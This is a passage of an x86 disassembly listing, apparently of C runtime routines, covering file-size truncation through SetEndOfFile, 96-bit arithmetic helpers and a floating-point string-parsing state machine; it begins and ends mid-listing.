var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_41EF80
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_435EE6: ; CODE XREF: sub_435EC0+51j
cmp [ebp+arg_4], 0
jge short loc_435F0D
push offset dword_43DEDC
push 0
push 81h
push offset dword_43DED0
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_435F0D
int 3 ; Trap to Debugger
loc_435F0D: ; CODE XREF: sub_435EC0+2Aj
; sub_435EC0+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_435EE6
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_42E570
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_435F51
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42E570
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_435F59
loc_435F51: ; CODE XREF: sub_435EC0+70j
or eax, 0FFFFFFFFh
jmp loc_4360E9
; ---------------------------------------------------------------------------
loc_435F59: ; CODE XREF: sub_435EC0+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_436070
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_41E4B0
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_4390A0
add esp, 8
mov [ebp+var_4], eax
loc_435F9F: ; CODE XREF: sub_435EC0+198j
cmp [ebp+var_1018], 1000h
jl short loc_435FB7
mov [ebp+var_1020], 1000h
jmp short loc_435FC3
; ---------------------------------------------------------------------------
loc_435FB7: ; CODE XREF: sub_435EC0+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_435FC3: ; CODE XREF: sub_435EC0+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_435FE7
mov [ebp+var_1024], 1000h
jmp short loc_435FF3
; ---------------------------------------------------------------------------
loc_435FE7: ; CODE XREF: sub_435EC0+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_435FF3: ; CODE XREF: sub_435EC0+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E9D0
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_43603F
call sub_429AA0
cmp dword ptr [eax], 5
jnz short loc_436031
call sub_429A90
mov dword ptr [eax], 0Dh
loc_436031: ; CODE XREF: sub_435EC0+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_43605E
; ---------------------------------------------------------------------------
loc_43603F: ; CODE XREF: sub_435EC0+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_435F9F
loc_43605E: ; CODE XREF: sub_435EC0+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4390A0
add esp, 8
jmp short loc_4360CE
; ---------------------------------------------------------------------------
loc_436070: ; CODE XREF: sub_435EC0+AFj
cmp [ebp+var_1018], 0
jge short loc_4360CE
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E570
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_430EF0
add esp, 4
push eax
call ds:dword_4F52E8 ; SetEndOfFile
neg eax
sbb eax, eax
neg eax
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_4360CE
call sub_429A90
mov dword ptr [eax], 0Dh
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov esi, eax
call sub_429AA0
mov [eax], esi
loc_4360CE: ; CODE XREF: sub_435EC0+1AEj
; sub_435EC0+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42E570
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_4360E9: ; CODE XREF: sub_435EC0+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_435EC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4360F0 proc near ; CODE XREF: sub_432490+53p
; sub_432490+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_436116
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_43611F
loc_436116: ; CODE XREF: sub_4360F0+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_43611F: ; CODE XREF: sub_4360F0+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4360F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436130 proc near ; CODE XREF: sub_4362B0+77p
; sub_4362B0+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_4360F0
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_436187
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_4360F0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_436187
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_436187: ; CODE XREF: sub_436130+25j
; sub_436130+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_4360F0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4361BC
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_4361BC: ; CODE XREF: sub_436130+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_4360F0
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_436130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4361E0 proc near ; CODE XREF: sub_4362B0+5Bp
; sub_4362B0+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_4361E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436240 proc near ; CODE XREF: sub_436F70+382p
; sub_439170+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_436240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4362B0 proc near ; CODE XREF: sub_4363F0+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_4362ED
; ---------------------------------------------------------------------------
loc_4362DB: ; CODE XREF: sub_4362B0+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4362ED: ; CODE XREF: sub_4362B0+29j
cmp [ebp+arg_4], 0
jbe short loc_436367
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_4361E0
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_4361E0
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_436130
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_4361E0
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_436130
add esp, 8
jmp loc_4362DB
; ---------------------------------------------------------------------------
loc_436367: ; CODE XREF: sub_4362B0+41j
; sub_4362B0+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_4363B3
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_436367
; ---------------------------------------------------------------------------
loc_4363B3: ; CODE XREF: sub_4362B0+BEj
; sub_4362B0+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_4363DC
mov ecx, [ebp+arg_8]
push ecx
call sub_4361E0
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_4363B3
; ---------------------------------------------------------------------------
loc_4363DC: ; CODE XREF: sub_4362B0+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_4362B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4363F0 proc near ; CODE XREF: sub_432B20+1Ap
; _0:00432B7Ap ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_436469
; ---------------------------------------------------------------------------
loc_436460: ; CODE XREF: sub_4363F0:loc_436495j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_436469: ; CODE XREF: sub_4363F0+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_436495
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_436495
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_436495
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_436497
loc_436495: ; CODE XREF: sub_4363F0+82j
; sub_4363F0+8Dj ...
jmp short loc_436460
; ---------------------------------------------------------------------------
loc_436497: ; CODE XREF: sub_4363F0+A3j
; sub_4363F0:loc_436BF3j
cmp [ebp+var_4C], 0Ah
jz loc_436BF8
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_436BF3
mov ecx, [ebp+var_80]
jmp off_436E0A[ecx*4]
loc_4364CC: ; DATA XREF: _0:off_436E0Ao
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_4364F0
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_4364F0
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_436565
; ---------------------------------------------------------------------------
loc_4364F0: ; CODE XREF: sub_4363F0+E3j
; sub_4363F0+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, ds:byte_453DF4
cmp edx, eax
jnz short loc_436508
mov [ebp+var_4C], 5
jmp short loc_436565
; ---------------------------------------------------------------------------
loc_436508: ; CODE XREF: sub_4363F0+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_436537
cmp [ebp+var_84], 2Dh
jz short loc_436546
cmp [ebp+var_84], 30h
jz short loc_43652E
jmp short loc_436555
; ---------------------------------------------------------------------------
loc_43652E: ; CODE XREF: sub_4363F0+13Aj
mov [ebp+var_4C], 1
jmp short loc_436565
; ---------------------------------------------------------------------------
loc_436537: ; CODE XREF: sub_4363F0+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_436565
; ---------------------------------------------------------------------------
loc_436546: ; CODE XREF: sub_4363F0+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_436565
; ---------------------------------------------------------------------------
loc_436555: ; CODE XREF: sub_4363F0+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_436565: ; CODE XREF: sub_4363F0+FEj
; sub_4363F0+116j ...
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_43656A: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E0Eo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_436598
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_436598
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_43661B
; ---------------------------------------------------------------------------
loc_436598: ; CODE XREF: sub_4363F0+188j
; sub_4363F0+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, ds:byte_453DF4
cmp eax, ecx
jnz short loc_4365B0
mov [ebp+var_4C], 4
jmp short loc_43661B
; ---------------------------------------------------------------------------
loc_4365B0: ; CODE XREF: sub_4363F0+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_43660B
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, byte_436E4A[edx]
jmp off_436E3A[ecx*4]
loc_4365E7: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E3Eo
mov [ebp+var_4C], 1
jmp short loc_43661B
; ---------------------------------------------------------------------------
loc_4365F0: ; CODE XREF: sub_4363F0+D5j
; sub_4363F0+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_43661B
; ---------------------------------------------------------------------------
loc_4365F9: ; CODE XREF: sub_4363F0+D5j
; sub_4363F0+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_43661B
; ---------------------------------------------------------------------------
loc_43660B: ; CODE XREF: sub_4363F0+D5j
; sub_4363F0+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_43661B: ; CODE XREF: sub_4363F0+1A3j
; sub_4363F0+1BEj ...
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_436620: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E12o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_436644
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_436644
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_436686
; ---------------------------------------------------------------------------
loc_436644: ; CODE XREF: sub_4363F0+237j
; sub_4363F0+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, ds:byte_453DF4
cmp edx, eax
jnz short loc_43665C
mov [ebp+var_4C], 5
jmp short loc_436686
; ---------------------------------------------------------------------------
loc_43665C: ; CODE XREF: sub_4363F0+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_436670
jmp short loc_436679
; ---------------------------------------------------------------------------
loc_436670: ; CODE XREF: sub_4363F0+27Cj
mov [ebp+var_4C], 1
jmp short loc_436686
; ---------------------------------------------------------------------------
loc_436679: ; CODE XREF: sub_4363F0+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_436686: ; CODE XREF: sub_4363F0+252j
; sub_4363F0+26Aj ...
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_43668B: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E16o
mov [ebp+var_54], 1
jmp short loc_4366A5
; ---------------------------------------------------------------------------
loc_436694: ; CODE XREF: sub_4363F0:loc_43671Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4366A5: ; CODE XREF: sub_4363F0+2A2j
cmp ds:dword_453DF0, 1
jle short loc_4366C9
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_427040
add esp, 8
mov [ebp+var_90], eax
jmp short loc_4366E7
; ---------------------------------------------------------------------------
loc_4366C9: ; CODE XREF: sub_4363F0+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_4366E7: ; CODE XREF: sub_4363F0+2D7j
cmp [ebp+var_90], 0
jz short loc_436724
cmp [ebp+var_70], 19h
jnb short loc_436716
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_43671F
; ---------------------------------------------------------------------------
loc_436716: ; CODE XREF: sub_4363F0+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_43671F: ; CODE XREF: sub_4363F0+324j
jmp loc_436694
; ---------------------------------------------------------------------------
loc_436724: ; CODE XREF: sub_4363F0+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, ds:byte_453DF4
cmp eax, ecx
jnz short loc_43673C
mov [ebp+var_4C], 4
jmp short loc_43679E
; ---------------------------------------------------------------------------
loc_43673C: ; CODE XREF: sub_4363F0+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_43678E
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, byte_436E91[edx]
jmp off_436E85[ecx*4]
loc_436773: ; DATA XREF: _0:00436E89o
mov [ebp+var_4C], 6
jmp short loc_43679E
; ---------------------------------------------------------------------------
loc_43677C: ; CODE XREF: sub_4363F0+37Cj
; DATA XREF: _0:off_436E85o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_43679E
; ---------------------------------------------------------------------------
loc_43678E: ; CODE XREF: sub_4363F0+36Cj
; sub_4363F0+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_43679E: ; CODE XREF: sub_4363F0+34Aj
; sub_4363F0+38Aj ...
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_4367A3: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E1Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_4367DE
jmp short loc_4367CA
; ---------------------------------------------------------------------------
loc_4367B9: ; CODE XREF: sub_4363F0+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4367CA: ; CODE XREF: sub_4363F0+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_4367DE
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_4367B9
; ---------------------------------------------------------------------------
loc_4367DE: ; CODE XREF: sub_4363F0+3C5j
; sub_4363F0+3E1j
jmp short loc_4367F1
; ---------------------------------------------------------------------------
loc_4367E0: ; CODE XREF: sub_4363F0:loc_436869j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4367F1: ; CODE XREF: sub_4363F0:loc_4367DEj
cmp ds:dword_453DF0, 1
jle short loc_436816
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_98], eax
jmp short loc_436833
; ---------------------------------------------------------------------------
loc_436816: ; CODE XREF: sub_4363F0+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_436833: ; CODE XREF: sub_4363F0+424j
cmp [ebp+var_98], 0
jz short loc_43686E
cmp [ebp+var_70], 19h
jnb short loc_436869
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_436869: ; CODE XREF: sub_4363F0+450j
jmp loc_4367E0
; ---------------------------------------------------------------------------
loc_43686E: ; CODE XREF: sub_4363F0+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_4368C0
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, byte_436ED8[ecx]
jmp off_436ECC[eax*4]
loc_4368A5: ; DATA XREF: _0:00436ED0o
mov [ebp+var_4C], 6
jmp short loc_4368D0
; ---------------------------------------------------------------------------
loc_4368AE: ; CODE XREF: sub_4363F0+4AEj
; DATA XREF: _0:off_436ECCo
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_4368D0
; ---------------------------------------------------------------------------
loc_4368C0: ; CODE XREF: sub_4363F0+49Ej
; sub_4363F0+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_4368D0: ; CODE XREF: sub_4363F0+4BCj
; sub_4363F0+4CEj
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_4368D5: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E1Eo
mov [ebp+var_C], 1
cmp ds:dword_453DF0, 1
jle short loc_436901
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_43691E
; ---------------------------------------------------------------------------
loc_436901: ; CODE XREF: sub_4363F0+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_43691E: ; CODE XREF: sub_4363F0+50Fj
cmp [ebp+var_A0], 0
jz short loc_436939
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_436946
; ---------------------------------------------------------------------------
loc_436939: ; CODE XREF: sub_4363F0+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_436946: ; CODE XREF: sub_4363F0+547j
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_43694B: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E22o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_436978
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_436978
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4369CD
; ---------------------------------------------------------------------------
loc_436978: ; CODE XREF: sub_4363F0+56Bj
; sub_4363F0+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
